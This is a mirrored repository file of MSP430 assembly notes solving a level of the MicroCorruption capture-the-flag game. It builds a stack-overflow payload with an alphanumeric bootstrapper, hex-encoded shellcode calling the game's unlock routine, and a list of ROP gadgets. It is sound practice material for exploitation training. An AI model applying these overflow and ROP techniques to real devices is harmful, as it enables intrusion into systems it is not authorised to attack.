mirror of
https://git.soft.fish/val/MicroCorruption.git
synced 2024-11-22 20:55:58 +00:00
66 lines
1.1 KiB
NASM
66 lines
1.1 KiB
NASM
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; Goal: execute code from 0x25b6
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; stack buffer: 43ed
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; mem buffer: 2400
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passwordpassword1[retval][pcoffset]0[realfunc][padding]0[bootstrapper]
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retval = 0x4430 ; &bootstrapper
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pcoffset = 0x2443-0x4430 ; &realfunc - retval
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padding = "A"*0x30 + "1" ; alignment
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bootstrapper = subc @sp+, pc ; 3071
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'passwordpassword1' + 'D0' + '??' + '0' + [realfunc][padding]0[bootstrapper]
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bootstrapper:
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add @sp+, r15
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realfunc:
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push #0x7f
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call 45fc
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3012 7e00 b012 fc45
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; Step 1: Create a bootstrapper out of alphanumeric characters, and store it on the stack
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; this instruction pops a value off the stack and subtracts it from pc. Perfect for
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subc @sp+, pc
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b'passwordpassword1'+(b'\x30\x71'*0x1a4)+b'00000000000000'
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code snippets:
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; pop to register
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3n413041 ; nA0A
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pop Rn
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ret
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; popadd to register
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add @sp+, rN ; nq0A
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ret
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32413041 ; 2A0A
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pop sr
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ret
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ROP gadgets:
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Pop sr
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Move byte relative to R4 into r15
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4464 ("Dd"):
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mov.b -0x4(r4), r15
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sxt r15
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add #0x8, sp
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pop r4
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ret
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Pop r4:
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446c ("Dl")
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pop r4
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ret
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passwordpassword1DlDd
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